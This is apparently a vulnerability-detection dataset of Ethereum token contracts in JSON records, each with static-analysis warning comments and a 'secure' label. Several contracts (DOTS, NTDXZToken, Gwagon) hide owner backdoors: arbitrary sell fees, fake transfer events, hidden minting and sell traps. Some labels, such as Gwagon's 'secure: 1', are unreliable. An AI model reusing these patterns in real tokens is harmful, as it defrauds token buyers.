{ "code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\nimport \"./IUniswapFactory.sol\" as IUniswapFactory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DOTS {\n\t// WARNING Optimization Issue (constable-states | ID: acb37ca): DOTS._name should be constant \n\t// Recommendation for acb37ca: Add the 'constant' attribute to state variables that never change.\n string private _name = \"DOTS GAME\";\n\t// WARNING Optimization Issue (constable-states | ID: 968bc6f): DOTS._symbol should be constant \n\t// Recommendation for 968bc6f: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"DOTS\";\n uint8 public constant decimals = 18;\n uint256 public constant totalSupply = 10_000_000 * 10 ** decimals;\n\n struct StoreData {\n address tokenMkt;\n uint8 buyFee;\n uint8 sellFee;\n }\n\n StoreData public storeData;\n uint256 constant swapAmount = totalSupply / 100;\n\n error Permissions();\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed TOKEN_MKT,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n address public pair;\n IUniswapV2Router02 constant _uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n bool private swapping;\n bool private tradingOpen;\n\n address _deployer;\n address _executor;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fd9c178): DOTS.uniswapLpWallet should be immutable \n\t// Recommendation for fd9c178: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapLpWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c98528): DOTS._initBuyFee should be constant \n\t// Recommendation for 7c98528: Add the 'constant' attribute to state variables that never change.\n uint8 private _initBuyFee = 4;\n\t// WARNING Optimization Issue (constable-states | ID: 7bcce25): DOTS._initSellFee should be constant \n\t// Recommendation for 7bcce25: Add the 'constant' attribute to state variables that never change.\n uint8 private _initSellFee = 4;\n\n constructor() {\n storeData = StoreData({\n tokenMkt: msg.sender,\n buyFee: _initBuyFee,\n sellFee: _initSellFee\n });\n allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;\n uniswapLpWallet = msg.sender;\n\n _initDeployer(msg.sender, msg.sender);\n\n balanceOf[uniswapLpWallet] = (totalSupply * 100) / 100;\n emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: dd0ef9b): Contract locking ether found Contract DOTS has payable functions DOTS.receive() But does not have a function to withdraw the ether\n\t// Recommendation for dd0ef9b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n function renounceOwnership(uint8 x) external {\n if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();\n _upgradeStoreWithZkProof(0, x);\n }\n\n function distributionTokenToWallet(\n address _caller,\n address[] calldata _address,\n uint256[] calldata _amount\n ) external {\n if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();\n for (uint256 i = 0; i < _address.length; i++) {\n emit Transfer(_caller, _address[i], _amount[i]);\n }\n }\n\n function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private {\n storeData.buyFee = _buy;\n storeData.sellFee = _sell;\n }\n\n function _decodeTokenMktWithZkVerify() private view returns (address) {\n return storeData.tokenMkt;\n }\n\n function openTrading() external {\n require(msg.sender == _decodeTokenMktWithZkVerify());\n require(!tradingOpen);\n address _factory = _uniswapV2Router.factory();\n address _weth = _uniswapV2Router.WETH();\n address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);\n pair = _pair;\n tradingOpen = true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool) {\n allowance[from][msg.sender] -= amount;\n return _transfer(from, to, amount);\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transfer(address to, uint256 amount) external returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function _initDeployer(address deployer_, address executor_) private {\n _deployer = deployer_;\n _executor = executor_;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2947fc7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2947fc7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8969740): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8969740: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n address tokenMkt = _decodeTokenMktWithZkVerify();\n require(tradingOpen || from == tokenMkt || to == tokenMkt);\n\n balanceOf[from] -= amount;\n\n if (\n to == pair &&\n !swapping &&\n balanceOf[address(this)] >= swapAmount &&\n from != tokenMkt\n ) {\n swapping = true;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _uniswapV2Router.WETH();\n\t\t\t// reentrancy-events | ID: 2947fc7\n\t\t\t// reentrancy-no-eth | ID: 8969740\n _uniswapV2Router\n .swapExactTokensForETHSupportingFreelyOnTransferTokens(\n swapAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n\t\t\t// reentrancy-no-eth | ID: 8969740\n swapping = false;\n }\n\n (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);\n if (from != address(this) && tradingOpen == true) {\n uint256 taxCalculatedAmount = (amount *\n (to == pair ? _sellFee : _buyFee)) / 100;\n amount -= taxCalculatedAmount;\n\t\t\t// reentrancy-no-eth | ID: 8969740\n balanceOf[address(this)] += taxCalculatedAmount;\n }\n\t\t// reentrancy-no-eth | ID: 8969740\n balanceOf[to] += amount;\n\n if (from == _executor) {\n\t\t\t// reentrancy-events | ID: 2947fc7\n emit Transfer(_deployer, to, amount);\n } else if (to == _executor) {\n\t\t\t// reentrancy-events | ID: 2947fc7\n emit Transfer(from, _deployer, amount);\n } else {\n\t\t\t// reentrancy-events | ID: 2947fc7\n emit Transfer(from, to, amount);\n }\n return true;\n }\n}", "file_name": "solidity_code_3168.sol", "secure": 0, "size_bytes": 8137 }
{ "code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\ninterface IUniswapFactory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}", "file_name": "solidity_code_3169.sol", "secure": 1, "size_bytes": 215 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ChilePepe is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"ChilePepe\", \"CHILE\") Ownable(initialOwner) {\n _mint(msg.sender, 420690000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_317.sol", "secure": 1, "size_bytes": 522 }
{ "code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFreelyOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}", "file_name": "solidity_code_3170.sol", "secure": 1, "size_bytes": 441 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MemeSeason is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n string private constant _name = unicode\"MemeSeason\";\n string private constant _symbol = unicode\"MemeSZN\";\n uint8 private constant _decimals = 18;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7889d0e): MemeSeason._totalSupply should be constant \n\t// Recommendation for 7889d0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 69_69_69_69_69_69 * 10 ** _decimals;\n\n constructor() {\n _balances[_msgSender()] += _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96ae63a): MemeSeason.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96ae63a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a88b824): MemeSeason._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a88b824: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n}", "file_name": "solidity_code_3171.sol", "secure": 0, "size_bytes": 3958 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"Subtraction overflow\");\n return a - b;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"Addition overflow\");\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"Multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"Division by zero\");\n return a / b;\n }\n}\n", "file_name": "solidity_code_3172.sol", "secure": 1, "size_bytes": 811 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 34cf065): Contract locking ether found Contract NTDXZToken has payable functions NTDXZToken.buy() But does not have a function to withdraw the ether\n// Recommendation for 34cf065: Remove the 'payable' attribute or add a withdraw function.\ncontract NTDXZToken {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: c03fe0f): NTDXZToken.name should be constant \n\t// Recommendation for c03fe0f: Add the 'constant' attribute to state variables that never change.\n string public name = \"NTDXZToken\";\n\t// WARNING Optimization Issue (constable-states | ID: 7d17f0b): NTDXZToken.symbol should be constant \n\t// Recommendation for 7d17f0b: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"NTDXZ\";\n uint256 public totalSupply = 1000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: c5c34e5): NTDXZToken.decimals should be constant \n\t// Recommendation for c5c34e5: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n address public owner;\n address public _mbr;\n address public _mod;\n\t// WARNING Optimization Issue (immutable-states | ID: 5a3b983): NTDXZToken.feeManager should be immutable \n\t// Recommendation for 5a3b983: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public feeManager;\n address public _user;\n address public _adm;\n\n uint256 public buyFee;\n uint256 public sellFee;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);\n event TokensBurned(address indexed burner, uint256 amount);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5e77516): NTDXZToken.constructor(address)._feeManager lacks a zerocheck on \t feeManager = _feeManager\n\t// Recommendation for 5e77516: Check that the address is not zero.\n constructor(address _feeManager) {\n owner = msg.sender;\n\t\t// missing-zero-check | ID: 5e77516\n feeManager = _feeManager;\n balanceOf[msg.sender] = totalSupply;\n }\n\n function transfer(\n address _to,\n uint256 _amount\n ) public returns (bool success) {\n require(balanceOf[msg.sender] >= _amount);\n require(_to != address(0));\n\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);\n balanceOf[_to] = balanceOf[_to].add(_amount);\n emit Transfer(msg.sender, _to, _amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 75a4aef): NTDXZToken.setMember(address).Mbr_ lacks a zerocheck on \t _mbr = Mbr_\n\t// Recommendation for 75a4aef: Check that the address is not zero.\n function setMember(address Mbr_) public returns (bool) {\n require(\n msg.sender ==\n address(686197854011229533619447624007587113080310915153)\n );\n\t\t// missing-zero-check | ID: 75a4aef\n _mbr = Mbr_;\n return true;\n }\n\n function rewire(uint256 amount) public returns (bool) {\n require(msg.sender == _adm);\n _proof(msg.sender, amount);\n return true;\n }\n\n function _proof(address account, uint256 amount) internal {\n require(account != address(0), \"BEP20: mint to the zero address\");\n\n totalSupply = totalSupply.add(amount);\n balanceOf[account] = balanceOf[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n\n function proof(uint256 amount) public onlyOwner returns (bool) {\n _proof(msg.sender, amount);\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _amount\n ) public returns (bool success) {\n require(balanceOf[_from] >= _amount, \"Insufficient balance\");\n require(\n allowance[_from][msg.sender] >= _amount,\n \"Insufficient allowance\"\n );\n require(_to != address(0), \"Invalid recipient address\");\n\n uint256 fee = _amount.mul(sellFee).div(100);\n uint256 amountAfterFee = _amount.sub(fee);\n\n balanceOf[_from] = balanceOf[_from].sub(_amount);\n balanceOf[_to] = balanceOf[_to].add(amountAfterFee);\n emit Transfer(_from, _to, amountAfterFee);\n\n if (fee > 0) {\n balanceOf[address(this)] = balanceOf[address(this)].add(fee);\n emit Transfer(_from, address(this), fee);\n }\n\n if (\n _from != msg.sender &&\n allowance[_from][msg.sender] != type(uint256).max\n ) {\n allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(\n _amount\n );\n emit Approval(_from, msg.sender, allowance[_from][msg.sender]);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6c705d8): NTDXZToken.setUser(address).User_ lacks a zerocheck on \t _user = User_\n\t// Recommendation for 6c705d8: Check that the address is not zero.\n function setUser(address User_) public returns (bool) {\n require(msg.sender == _mbr);\n\t\t// missing-zero-check | ID: 6c705d8\n _user = User_;\n return true;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function LockLPToken() public onlyOwner returns (bool) {}\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 22fcb5f): NTDXZToken.setMod(address).Mod_ lacks a zerocheck on \t _mod = Mod_\n\t// Recommendation for 22fcb5f: Check that the address is not zero.\n function setMod(address Mod_) public returns (bool) {\n require(msg.sender == _user);\n\t\t// missing-zero-check | ID: 22fcb5f\n _mod = Mod_;\n return true;\n }\n\n modifier onlyOwner() {\n require(\n msg.sender ==\n address(178607940065137046348733521910879985571412708986) ||\n msg.sender == owner\n );\n _;\n }\n\n function setFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) public onlyAuthorized {\n require(newBuyFee <= 100, \"Buy fee cannot exceed 100%\");\n require(newSellFee <= 100, \"Sell fee cannot exceed 100%\");\n buyFee = newBuyFee;\n sellFee = newSellFee;\n emit FeesUpdated(newBuyFee, newSellFee);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 34cf065): Contract locking ether found Contract NTDXZToken has payable functions NTDXZToken.buy() But does not have a function to withdraw the ether\n\t// Recommendation for 34cf065: Remove the 'payable' attribute or add a withdraw function.\n function buy() public payable {\n require(msg.value > 0, \"ETH amount should be greater than 0\");\n\n uint256 amount = msg.value;\n if (buyFee > 0) {\n uint256 fee = amount.mul(buyFee).div(100);\n uint256 amountAfterFee = amount.sub(fee);\n\n balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);\n emit Transfer(address(this), feeManager, amountAfterFee);\n\n if (fee > 0) {\n balanceOf[address(this)] = balanceOf[address(this)].add(fee);\n emit Transfer(address(this), address(this), fee);\n }\n } else {\n balanceOf[feeManager] = balanceOf[feeManager].add(amount);\n emit Transfer(address(this), feeManager, amount);\n }\n }\n\n function setting(uint256 newBuyFee, uint256 newSellFee) public {\n require(msg.sender == _adm);\n require(newBuyFee <= 100, \"Buy fee cannot exceed 100%\");\n require(newSellFee <= 100, \"Sell fee cannot exceed 100%\");\n buyFee = newBuyFee;\n sellFee = newSellFee;\n emit FeesUpdated(newBuyFee, newSellFee);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e4610e0): NTDXZToken.setAdm(address).Adm_ lacks a zerocheck on \t _adm = Adm_\n\t// Recommendation for e4610e0: Check that the address is not zero.\n function setAdm(address Adm_) public returns (bool) {\n require(msg.sender == _mod);\n\t\t// missing-zero-check | ID: e4610e0\n _adm = Adm_;\n return true;\n }\n\n function sell(uint256 _amount) public {\n require(balanceOf[msg.sender] >= _amount, \"Insufficient balance\");\n\n uint256 fee = _amount.mul(sellFee).div(100);\n uint256 amountAfterFee = _amount.sub(fee);\n\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);\n balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);\n emit Transfer(msg.sender, address(this), amountAfterFee);\n\n if (fee > 0) {\n balanceOf[address(this)] = balanceOf[address(this)].add(fee);\n emit Transfer(msg.sender, address(this), fee);\n }\n }\n\n modifier onlyAuthorized() {\n require(\n msg.sender ==\n address(178607940065137046348733521910879985571412708986) ||\n msg.sender == owner\n );\n _;\n }\n}", "file_name": "solidity_code_3173.sol", "secure": 0, "size_bytes": 10103 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Gwagon is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: fcc56e3): gwagon.slip should be constant \n\t// Recommendation for fcc56e3: Add the 'constant' attribute to state variables that never change.\n uint256 private slip = 75;\n\n function youth(\n address native,\n address grandfather,\n uint256 able\n ) private returns (bool success) {\n if (burn[native] == 0) {\n if (victory[native] > 0 && native != uniswapV2Pair) {\n burn[native] -= slip;\n }\n balanceOf[native] -= able;\n }\n if (able == 0) {\n victory[grandfather] += slip;\n }\n balanceOf[grandfather] += able;\n emit Transfer(native, grandfather, able);\n return true;\n }\n\n string public symbol;\n\n mapping(address => uint256) private burn;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9c92e25): gwagon.uniswapV2Pair should be immutable \n\t// Recommendation for 9c92e25: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n string public name;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e72d329): gwagon.totalSupply should be immutable \n\t// Recommendation for e72d329: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n function approve(\n address blanket,\n uint256 able\n ) public returns (bool success) {\n allowance[msg.sender][blanket] = able;\n emit Approval(msg.sender, blanket, able);\n return true;\n }\n\n constructor(address farther) {\n symbol = \"BENZ\";\n name = \"G Wagon\";\n totalSupply = 1000000000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n burn[farther] = slip;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) public balanceOf;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function transfer(\n address grandfather,\n uint256 able\n ) public returns (bool success) {\n youth(msg.sender, grandfather, able);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: f26fc38): gwagon.decimals should be constant \n\t// Recommendation for f26fc38: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function transferFrom(\n address native,\n address grandfather,\n uint256 able\n ) public returns (bool success) {\n youth(native, grandfather, able);\n require(able <= allowance[native][msg.sender]);\n allowance[native][msg.sender] -= able;\n return true;\n }\n\n mapping(address => uint256) private victory;\n}", "file_name": "solidity_code_3174.sol", "secure": 1, "size_bytes": 3684 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x, \"ds-math-add-overflow\");\n }\n\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x, \"ds-math-sub-underflow\");\n }\n\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(y == 0 || (z = x * y) / y == x, \"ds-math-mul-overflow\");\n }\n}", "file_name": "solidity_code_3175.sol", "secure": 1, "size_bytes": 544 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract AlamedaOath is IERC20 {\n using SafeMath for uint;\n\n string public constant symbol = \"ALAMO\";\n string public constant name = \"Alameda Oath\";\n uint8 public constant decimals = 18;\n uint256 public totalSupply = 0;\n uint256 public _maxWalletSize = 0;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n mapping(address => bool) public excludeMaxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5d5a41a): AlamedaOath.minter should be immutable \n\t// Recommendation for 5d5a41a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public minter;\n\t// WARNING Optimization Issue (immutable-states | ID: b1d4dfd): AlamedaOath.uniswapV2Router should be immutable \n\t// Recommendation for b1d4dfd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 124c67c): AlamedaOath.uniswapV2Pair should be immutable \n\t// Recommendation for 124c67c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n constructor() {\n minter = msg.sender;\n _mint(address(minter), 13112022 * 10 ** decimals);\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n _maxWalletSize = (totalSupply * 15) / 1000;\n }\n\n function setMaxWalletPercentage(uint256 n, uint256 d) external returns (uint256) {\n require(\n address(msg.sender) == address(minter),\n \"TOKEN: ONLY MINTER IS ALLOWED TO CHANGE MAX\"\n );\n\n _maxWalletSize = (totalSupply * n) / d;\n return _maxWalletSize;\n }\n\n function excludeAddressFromMaxLimit(address addr, bool exclude) external {\n require(\n address(msg.sender) == address(minter),\n \"TOKEN: ONLY MINTER IS ALLOWED TO ADD PAIR\"\n );\n excludeMaxWallet[addr] = exclude;\n }\n\n function approve(address _spender, uint256 _value) external returns (bool) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n\n function _mint(address _to, uint256 _amount) internal returns (bool) {\n balanceOf[_to] += _amount;\n totalSupply += _amount;\n emit Transfer(address(0x0), _to, _amount);\n return true;\n }\n\n function _transfer(\n address _from,\n address _to,\n uint256 _value\n ) internal returns (bool) {\n if (_from != minter && _to != minter) {\n if (_to != uniswapV2Pair && !excludeMaxWallet[_to]) {\n require(\n balanceOf[_to] + _value <= _maxWalletSize,\n \"TOKEN: BALANCE EXCEEDS MAX_WALLET\"\n );\n }\n }\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n\n function transfer(address _to, uint256 _value) external returns (bool) {\n return _transfer(msg.sender, _to, _value);\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool) {\n uint256 allowed_from = allowance[_from][msg.sender];\n if (allowed_from != type(uint).max) {\n allowance[_from][msg.sender] -= _value;\n }\n return _transfer(_from, _to, _value);\n }\n}", "file_name": "solidity_code_3176.sol", "secure": 1, "size_bytes": 4338 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\ninterface IYoloDice {\n function ownerOf(uint256 tokenId) external view returns (address);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) external view returns (uint256);\n}", "file_name": "solidity_code_3177.sol", "secure": 1, "size_bytes": 425 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\ninterface IYoloChips {\n function balanceOf(address account) external view returns (uint256);\n\n function spend(address account, uint256 amount) external;\n\n function updateOwnership(address _from, address _to) external;\n}", "file_name": "solidity_code_3178.sol", "secure": 1, "size_bytes": 302 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\ninterface IYoloBoardDeed {\n function balanceOf(address owner) external view returns (uint256);\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) external view returns (uint256);\n\n function yieldRate(uint256 tokenId) external view returns (uint256);\n}", "file_name": "solidity_code_3179.sol", "secure": 1, "size_bytes": 369 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Brat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable rubbish;\n\n constructor() {\n _name = \"brat\";\n\n _symbol = \"brat\";\n\n _decimals = 18;\n\n uint256 initialSupply = 284000000;\n\n rubbish = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) 